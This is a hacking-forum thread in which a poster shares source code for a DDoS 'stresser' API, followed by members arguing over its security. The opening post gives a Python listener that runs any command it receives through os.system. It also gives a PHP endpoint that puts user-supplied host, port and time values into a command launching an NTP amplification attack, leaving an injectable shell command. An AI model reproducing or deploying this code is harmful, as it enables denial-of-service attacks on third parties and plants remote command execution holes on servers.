

Forum:[Hack Forums](#)

Thread: [Stresser API Source - Fast API - Insecure Version](#)

ZeeYee - March 1, 2016, 8:46 pm

This is my API source using raw sockets, I use Python to receive the packet and PHP to send the packet. This allows for a super quick attack.

Python Source (Goes on Attack Server):

PHP Code

```
<?php
```

```
import socket, os, sys
```

```
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('123.123.123.123', 1337))
serversocket.listen(5) # become a server socket, maximum 5 connections
buf = 0
i = 0
```

```
print "220 DDoS Server Controller System"
while True:
    if buf != 0:
        print "Executing: "+str(buf)
        os.system(str(buf))
        buf = 0
    while True:
        connection, address = serversocket.accept()
        buf = connection.recv(64)
        if len(buf) > 0:
            break
```

..and here is the PHP which goes on your webserver. Good luck.

PHP Code

```
<?php
```

```
$r_host = htmlentities($_GET['host']);
$r_port = htmlentities($_GET['port']);
$time = htmlentities($_GET['time']);
$key = explode("","keyone,keytwo,keythree");
if (!in_array($_GET['key'],$key)){
    print "Wrong Key.";
    die();
}
```

```
$host = "123.123.123.123";
$port = 1337;
```

```
$output = "screen -dmS lel ./ntp ".$r_host." ".$r_port." ntp.txt 1 4000 ".$time;
```

```
$socket1 = socket_create(AF_INET, SOCK_STREAM,0) or die("Could not create socket\n");  
  
socket_connect ($socket1 , $host,$port ) ;  
  
socket_write($socket1, $output, strlen ($output)) or die("Could not write output\n");  
  
socket_close($socket1) ;
```

?>

Terebic - March 2, 2016, 5:31 pm

Not too bad, a little messy tho tbh

Sakuto - March 3, 2016, 1:36 am

Thanks for your share I guess!

ASDA - March 3, 2016, 2:07 am

Sketchy as fuck leaving a port open which an execute any command with no jail as root.

Terebic - March 3, 2016, 8:13 am

(Mar 3, 2016 03:07 AM)ASDA Wrote: [\[CITE\]](#) Sketchy as fuck leaving a port open which an execute any command with no jail as root.

Yeah, this is pure shit.

ZeeYee - March 3, 2016, 11:56 am

I like how nobody read the title that said "Insecure Version"

Anyways, I could release the non-sketchy version, but then skids would be profiting.

Someone with basic knowledge could easily secure my python script by implementing a key system / IP restriction / ANY OTHER FUCKING IDEA YOU CAN THINK OF. WOAHH.

I should have specified my goal more clearly. I just want to make sure people are no longer using SSH2 for their APIs. lol

ASDA - March 3, 2016, 5:06 pm

you're still allowing root commands to be executed over an unencrypted medium.

haha. holy fuck this is going to be fun, what's wrong with ssh2? would you prefer us all to use vnc instead?

ZeeYee - March 3, 2016, 6:41 pm

(Mar 3, 2016 06:06 PM)ASDA Wrote: [\[CITE\]](#) you're still allowing root commands to be executed over an unencrypted medium.

haha. holy fuck this is going to be fun, what's wrong with ssh2? would you prefer us all to use vnc instead?

Root commands that if you sanitize your data it won't matter?

Also, ssh2 requires a whole login process to run one command, while mine requires a single key to verify the source. Also, SSH2 is annoying to setup.

Again, and Ill stress it this time 'I like how nobody read the title that said "Insecure Version"

I love how everyone on HF assumes I don't have a clue about anything because I have no reputation. This is why HF is dying the community is plagued by hate and non-community like members.

A sentence like "holy fuck this is going to be fun", makes me cringe in fucking fear about how much fun you think you are going to get out of roasting my opinion of SSH2. Which I know for a FACT is slower than my sockets.

Sakuto - March 4, 2016, 12:29 am

No, everyone assume that you've no clue because you're posting insecure version of your script on purpose.

ZeeYee - March 4, 2016, 1:59 am

(Mar 4, 2016 01:29 AM)Sakuto Wrote: [\[CITE\]](#) No, everyone assume that you've no clue because you're posting insecure version of your script on purpose.

I am only an instrument, It is up to the person to decide how they use this script.

If a user knowingly uses this and gets infected that's their fault entirely.

Sakuto - March 4, 2016, 2:03 am

So what's the purpose of posting an insecure version?

"Look at me, I'm sharing something, it's shitty but I'm sharing".

ASDA - March 4, 2016, 3:27 am

(Mar 3, 2016 07:41 PM)ZeeYee Wrote: [\[CITE\]](#) Root commands that if you sanitize your data it won't matter?

Also, ssh2 requires a whole login process to run one command, while mine requires a single key to verify the source. Also, SSH2 is annoying to setup.

Again, and Ill stress it this time 'I like how nobody read the title that said "Insecure Version" what the fuck are you on about? you have an OPEN SOCKET OPEN which will ACCEPT DATA AND EXECUTE IT UNDER ROOT.

Quote:Also, ssh2 requires a whole login process to run one command, while mine requires a single key to verify the source. Also, SSH2 is annoying to setup.

THIS IS GOOD. security > speed.

Quote:I love how everyone on HF assumes I don't have a clue about anything because I have no reputation. This is why HF is dying the community is plagued by hate and non-community like members.

You literally have no clue what you're on about. If you had 10000 rep, I'd still tell you you're fucking stupid.

Quote:A sentence like "holy fuck this is going to be fun", makes me cringe in fucking fear about how much fun you think you are going to get out of roasting my opinion of SSH2. Which I know for a FACT is slower than my sockets.

no WAY DUDE CRAZY BRO. don't talk about speed and use an interpreted language, fuck me sideways. nobody gives a flying FUCK about 500ms processing time to connect to your server over ssh. the reason why this has never been done before is because it's fucking retarded. you're reinventing the wheel as a fucking square. ssh is already a thing.

FrenchDev - March 4, 2016, 6:54 am

Thanks you for source man. ?

ZeeYee - March 4, 2016, 1:13 pm

(Mar 4, 2016 04:27 AM)ASDA Wrote: [\[CITE\]](#) what the fuck are you on about? you have an OPEN SOCKET OPEN which will ACCEPT DATA AND EXECUTE IT UNDER ROOT.

THIS IS GOOD. security > speed.

You literally have no clue what you're on about. If you had 10000 rep, I'd still tell you you're fucking stupid.

no WAY DUDE CRAZY BRO. don't talk about speed and use an interpreted language, fuck me sideways. nobody gives a flying FUCK about 500ms processing time to connect to your server over ssh. the reason why this has never been done before is because it's fucking retarded. you're reinventing the wheel as a fucking square. ssh is already a thing.

What?

I use this for my stresser because I decided I needed a faster one.

You have yet to prove how this can be hacked. If you use a long enough password it impossible to bruteforce and if its all backend nobody will even find it sitting on port 25522.

Can you just tell me the flaws?

You say its a 500ms wait time, you obviously have never ran 30 attacks on the same server and then tried to SSH into it. Mine solves this issue.

(Mar 3, 2016 09:13 AM)Terebic Wrote: [\[CITE\]](#) Yeah, this is pure shit.

TFW anyone can RCE into these SSH2 APIs that everyone uses, but you can't RCE into mine.

TFW they scan for every open webserver in ddos server ranges and try to RCE APIs and escape the code with the port get parameter

TFW you can put all these server into one big API with my script easily.

MFw when I hear "security"